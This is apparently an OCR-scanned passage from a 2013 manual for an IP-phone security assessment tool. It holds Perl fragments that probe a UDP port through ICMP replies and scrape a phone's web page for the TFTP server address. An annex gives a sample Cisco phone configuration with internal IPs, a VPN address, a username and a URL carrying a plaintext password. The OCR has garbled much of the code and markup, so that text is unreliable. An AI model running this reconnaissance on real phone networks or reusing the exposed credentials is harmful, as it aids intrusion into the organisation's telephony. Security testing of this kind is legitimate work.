my $icmp_sock = new I0::Socket::;INET(Proto=>"icmp");
my $read_set = new I0::5elect();
Yread_set->add{$icmp_sock);

my $buf="hello";

my $sock = new ID::Socket::INET(
PeerAddr=>iAddress_alive,
PeerPort==>"50868" ,
Proto=>"udp");

# Send the buffer and close the UDP socket.
fsock-=send("$buf");
close{$sock);

# Woit for incoming pockets,

(inew_readable) = I0::5elect-»select(iread_set, undef, undef, $icmp_timeout);
# Set the arrival flaeg.

$icmp_orrived = "@";

# For every socket we hod received packets (In our case only one - icmp_socket)
foreach $socket (@%new_readablie)
{
# If we have captured an icmp pockoges, 1ts probably "destination unreachable"
iLf ($socket == $icmp_sock)
{
# Set the flog and clean the socket buffers
$icmp_arrived = "17;
Sicmp_sock->recv{ibuffer,58,8);
1
1
if ( $lcmp_arrived == "@" )
i
# print that UDP port 5BE0 has been found.
$portS@6AUDP Ffound=1;
¥

# Close the icmp sock
close($icmp_sock);
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585 sub FIND_SERVERS

586 {
587
14

# this url contains most servers ip oddress.
my $Url_Detection_TFTP="http://".3Address_ali
my $Url_Detection_TFTP2="http://".$Address_olive."14/NetworkConfiguration";

my $request_tftp = new HTTP::Request('GET', $Uri_Detection_TFTP};
my Sresponse_tftp = $uo->reguest{$request_tftp);
my $content_tftp = $response_tftp->content();

#print "CEDRIC CONTENT TFTP:iScontent_tftp\n"
if ($content_tftp =~ JError 484: Not Found/s)

{
$request_tftp = new HTTP::Reguest('GET', $Url_Detection_TFTP2);
$response_tftp = Jua-»request{$request_tFftp);
$fcontent_tftp = $response_tftp->content();

¥

if (hcontent_tftp =~ /Serveur TFTP 1le\/B><N\/TDr<td width=20><\/TD><TD><B>([@-9.0-zA-Z]4)<\/B><N/TD>/)

i
$TFtp_server_IPF = §1;
&TFTR,

-1 F (Scontent_tftp =~ STFTP Server 1<\/B><\/TD><td widbth=20><N/TD=<T0><B=([@-9.0-zA-7]4)=\/B=<"/TD>/)

e e
in

$Tftp_server_IP = §1;
&TFTR;

elsif (Scontent_tftp =~ /TFTP Server l<\/b=<\/td>\W\W<td width=20=<\/td>\W\W<td><b>([0-9.]4+3<\/b><\/td>/)

fTFtp_server_IP = §1;

&TFTR;
Ey
elsif (Scontent_tftp =~ /TFTP Server 1:0\/Bx<\/TO=\Wi\Weotd width=20> AT W <TD5<B>([0-9. J4)<\/B> < \/TD=/)
%

$TFLp_server_IP = $1;

LTFTR;
¥
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Annex C- sample config file from a Cisco IP Phone

<?xml version="1.0" encoding="UTF-8"?>
<device xsi:type="axl:XIPPhone" ctiid="45" uuid="{9ab284d7-daab-925a-9640-
90f1a000c0d4}">

<fullConfig>true</fullConfig>
<deviceProtocol>SCCP</deviceProtocol>
<sshUserld></sshUserld>
<sshPassword></sshPassword>
<ipAddressMode>0</ipAddressMode>
<allowAutoConfig>true</allowAutoConfig>
<ipPreferenceModeControl>0</ipPreferenceModeControl>
<tzdata>
<tzolsonversion>2011h</tzolsonversion>
<tzupdater>tzupdater.jar</tzupdater>

</tzdata>

<devicePool uuid="{378ffb5b-fd1a-b02b-dbb6-cdb27ee13202}">
<revertPriority>0</revertPriority>
<name>DP_Headquarters_Video_MCU</name>
<dateTimeSetting uuid="{9ec4850a-7748-11d3-bdf0-00108302ead1}">
<name>CMLocal</name>
<dateTemplate>D-M-Y</dateTemplate>
<timeZone></timeZone>
<olsonTimeZone>Europe/Paris</olsonTimeZone>
<ntps>

<ntp>

<name>192.168.100.10</name>
<ntpMode>Directed Broadcast</ntpMode>
</ntp>

<ntp>

<name>192.168.100.24</name>
<ntpMode>Unicast</ntpMode>

</ntp>

<ntp>

<name>192.168.100.253</name>
<ntpMode>Directed Broadcast</ntpMode>
</ntp>

</ntps>

</dateTimeSetting>

<callManagerGroup>

<name>BCS</name>
<tftpDefault>true</tftpDefault>

<members>

<member priority="0">

<callManager>

<name>CUCM8</name>
<description>CUCM8</description>

<ports>
<ethernetPhonePort>2000</ethernetPhonePort>
<sipPort>5060</sipPort>
<securedSipPort>5061</securedSipPort>
<mgcpPorts>

<listen>2427</listen>
<keepAlive>2428</keepAlive>
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</mgcpPorts>

</ports>
<processNodeName>CUCM8</processNodeName>
</callManager>

</member>

</members>

</callManagerGroup>

<srstinfo uuid="{c6cba97c-3ae0-4cdc-86d7-3f285aacff05}">
<name>Routine</name>

<srstOption>User Specific</srstOption>
<userModifiable>true</userModifiable>
<ipAddr1>192.168.100.253</ipAddr1>
<port1>2000</port1>

<ipAddr2></ipAddr2>

<port2>2000</port2>

<ipAddr3></ipAddr3>

<port3>2000</port3>

<siplpAddrl></siplpAddrl>
<sipPort1>5060</sipPort1>
<siplpAddr2></siplpAddr2>
<sipPort2>5060</sipPort2>
<siplpAddr3></siplpAddr3>
<sipPort3>5060</sipPort3>
<isSecure>false</isSecure>

</srstinfo>
<mlppDomainld>000000</mlppDomainld>
<mlpplIndicationStatus>Off</mlpplIndicationStatus>
<preemption>Disabled</preemption>
<connectionMonitorDuration>120</connectionMonitorDuration>
</devicePool>

<TVS>

<members>

<member priority="0">

<port>2445</port>

<address>CUCM8</address>

</member>

</members>

</TVS>

<vpnGroup>

<mtu>1290</mtu>
<failConnectTime>30</failConnectTime>
<authMethod>0</authMethod>
<pswdPersistent>1</pswdPersistent>
<autoNetDetect>0</autoNetDetect>
<enableHostIDCheck>0</enableHostIDCheck>
<addresses>
<url1>https://195.101.175.26/phonevpn</url1>
</addresses>

<credentials>

<hashAlg>0</hashAlg>
<certHash1>EQVLYFYiODVY|WS7plAjU30EvQs=</certHash1>
</credentials>

</vpnGroup>
<MissedCallLoggingOption>10</MissedCallLoggingOption>
<commonProfile>
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<phonePassword></phonePassword>
<backgroundimageAccess>true</backgroundimageAccess>
<callLogBIfEnabled>2</callLogBIfEnabled>

</commonProfile>

<loadInformation>SCCP75.9-2-1S</loadInformation>

<vendorConfig>
<disableSpeaker>false</disableSpeaker><disableSpeakerAndHeadset>false</disableSpeak
erAndHeadset><forwardingDelay>1</forwardingDelay><pcPort>0</pcPort><garp>1</garp>
<voiceVlanAccess>0</voiceVlanAccess><videoCapability>1</videoCapability><autoSelectLi
neEnable>0</autoSelectLineEnable><spanToPCPort>1</spanToPCPort><loggingDisplay>1
</loggingDisplay><recordingTone>0</recordingTone><recordingToneLocalVolume>100</re
cordingTonelLocalVolume><recordingToneRemoteVolume>50</recordingToneRemoteVolum
e><recordingToneDuration></recordingToneDuration><displayOnWhenIncomingCall>0</dis
playOnWhenlncomingCall><moreKeyReversionTimer>5</moreKeyReversionTimer><autoC
allSelect>1</autoCallSelect><logServer></logServer><g722CodecSupport>0</g722CodecS
upport><headsetWidebandUIControl>0</headsetWidebandUIControl><headsetWidebandEn
able>0</headsetWidebandEnable><lldpAssetld></lldpAssetld><powerPriority>0</powerPrio
rity><ehookEnable>0</ehookEnable><ipv6LogServer></ipv6LogServer><detectCMConnecti
onFailure>0</detectCMConnectionFailure><minimumRingVolume>0</minimumRingVolume
><webProtocol>0</webProtocol><handsetHeadsetMonitor>0</handsetHeadsetMonitor><us
eEnblocDialing>1</useEnblocDialing></vendorConfig>

<commonConfig>
<bluetoothProfile>1</bluetoothProfile><ciscoCamera>1</ciscoCamera><videoCapability>1<
/videoCapability><eapAuthentication>1</eapAuthentication><webProtocol>0</webProtocol>
<webAccess>0</webAccess><sshAccess>1</sshAccess><applnstallFromAndroidMarket>tr
ue</applnstallFromAndroidMarket><presenceServerPri>192.168.100.8</presenceServerPri
><presenceServerType>1</presenceServerType></commonConfig>

<enterpriseConfig>
<ciscoCamera>1</ciscoCamera><videoCapability>1</videoCapability><webAccess>0</web
Access><rtcp>1</rtcp><peerFirmwareSharing>1</peerFirmwareSharing><webProtocol>0</
webProtocol></enterpriseConfig>
<versionStamp>1322487735-82fdecc1-468f-4719-9076-49db07415bae</versionStamp>
<userLocale>

<name>French_France</name>

<uid>2</uid>

<langCode>fr_FR</langCode>

<version></version>

<winCharSet>is0-8859-1</winCharSet>

</userLocale>

<networkLocale>United_States</networkLocale>

<networkLocalelnfo>

<name>United_States</name>

<uid>64</uid>

<version>8.5.0.0(1)</version>

</networkLocalelnfo>

<deviceSecurityMode>1</deviceSecurityMode>

<idleTimeout>0</idleTimeout>
<authenticationURL>http://CUCM8:8080/ccmcip/authenticate.jsp</authenticationURL>
<directoryURL>http://CUCMB8:8080/ccmcip/xmldirectory.jsp</directoryURL>
<idleURL></idleURL>
<informationURL>http://CUCMB8:8080/ccmcip/GetTelecasterHelpText.jsp</informationURL>
<messagesURL></messagesURL>

<proxyServerURL></proxyServerURL>
<servicesURL>http://CUCM8:8080/ccmcip/getservicesmenu.jsp</servicesURL>
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<secureAuthenticationURL>https://CUCMS8:8443/ccmcip/authenticate.jsp</secureAuthenticat
ionURL>
<secureDirectoryURL>https://CUCMB8:8443/ccmcip/xmldirectory.jsp</secureDirectoryURL>
<secureldleURL></secureldleURL>
<securelnformationURL>https://CUCM8:8443/ccmcip/GetTelecasterHelpText.jsp</securelnf
ormationURL>

<secureMessagesURL></secureMessagesURL>
<secureServicesURL>https://CUCM8:8443/ccmcip/getservicesmenu.jsp</secureServicesUR
L>

<dscpForSCCPPhoneConfig>96</dscpForSCCPPhoneConfig>
<dscpForSCCPPhoneServices>0</dscpForSCCPPhoneServices>
<dscpForCm2Dvce>96</dscpForCm2Dvce>
<transportLayerProtocol>1</transportLayerProtocol>
<dndCallAlert>5</dndCallAlert>
<phonePersonalization>1</phonePersonalization>

<rollover>0</rollover>

<singleButtonBarge>0</singleButtonBarge>
<joinAcrossLines>0</joinAcrossLines>
<autoCallPickupEnable>false</autoCallPickupEnable>
<blfAudibleAlertSettingOfldleStation>0</blfAudibleAlertSettingOfidle Station>
<blfAudibleAlertSettingOfBusyStation>0</blfAudibleAlertSettingOfBusyStation>
<capfAuthMode>0</capfAuthMode>

<capfList>

<capf>

<phonePort>3804</phonePort>
<processNodeName>CUCM8</processNodeName>

</capf>

</capfList>

<certHash>62d188d30fc647896ee5085726c6d55d</certHash>
<encrConfig>false</encrConfig>
<advertiseG722Codec>1</advertiseG722Codec>

<mobility>

<handoffdn>99</handoffdn>

<dtmfdn>0140033737</dtmfdn>

<ivrdn>3737</ivrdn>

<dtmfHoldCode>*81</dtmfHoldCode>
<dtmfExclusiveHoldCode>*82</dtmfExclusiveHoldCode>
<dtmfResumeCode>*83</dtmfResumeCode>
<dtmfTxfCode>*84</dtmfTxfCode>

<dtmfCnfCode>*85</dtmfCnfCode>

</mobility>

<userld>jldarbonnel</userld>

<phoneServices useHTTPS="true">

<provisioning>0</provisioning>

<phoneService type="1" category="0">

<name>Missed Calls</name>

<url>Application:Cisco/MissedCalls</url>

<vendor></vendor>

<version></version>

</phoneService>

<phoneService type="1" category="0">

<name>Received Calls</name>

<url>Application:Cisco/ReceivedCalls</url>

<vendor></vendor>

<version></version>

Date: 06/10/2013 By Cedric Balillet Page 96



ISME v0.12

</phoneService>

<phoneService type="1" category="0">

<name>Placed Calls</name>
<url>Application:Cisco/PlacedCalls</url>
<vendor></vendor>

<version></version>

</phoneService>

<phoneService type="1" category="0">

<name>Personal Directory</name>
<url>Application:Cisco/PersonalDirectory</url>
<vendor></vendor>

<version></version>

</phoneService>

<phoneService type="1" category="0">

<name>Corporate Directory</name>
<url>Application:Cisco/CorporateDirectory</url>
<vendor></vendor>

<version></version>

</phoneService>

<phoneService type="0" category="0">
<displayName>Cisco Unified MeetingPlace</displayName>
<name>Cisco Unified MeetingPlace</name>
<url>http://192.168.100.60/ipphone/MPAPI/ipphone/login?serverhost=192.168.100.60&amp;i
pphone=3733&amp;name=jldarbonnel&amp;wfpassword=12345</url>
<vendor></vendor>

<version></version>

</phoneService>

<phoneService type="0" category="0">
<displayName>PhoneMessenger</displayName>
<name>PhoneMessenger</name>
<url>http://cup8.fremecourt.com:8081/ippm/default?name=#DEVICENAME#</url>
<vendor></vendor>

<version></version>

</phoneService>

<phoneService type="0" category="0">
<displayName>Sytadin</displayName>
<name>ANDTEK</name>
<url>http://192.168.100.10/sytadin</url>
<vendor></vendor>

<version></version>

</phoneService>

<phoneService type="0" category="1">
<displayName>VisualVoicemail</displayName>
<name>VisualVoicemail</name>
<url>http://192.168.100.46/midlets/VisualVoicemail/VisualVoicemail.jad?call_connect_delay=
1000&amp;log_level=info&amp;voicemail_server=192.168.100.46</url>
<vendor>Cisco</vendor>

<version></version>

</phoneService>

</phoneServices>

</device>
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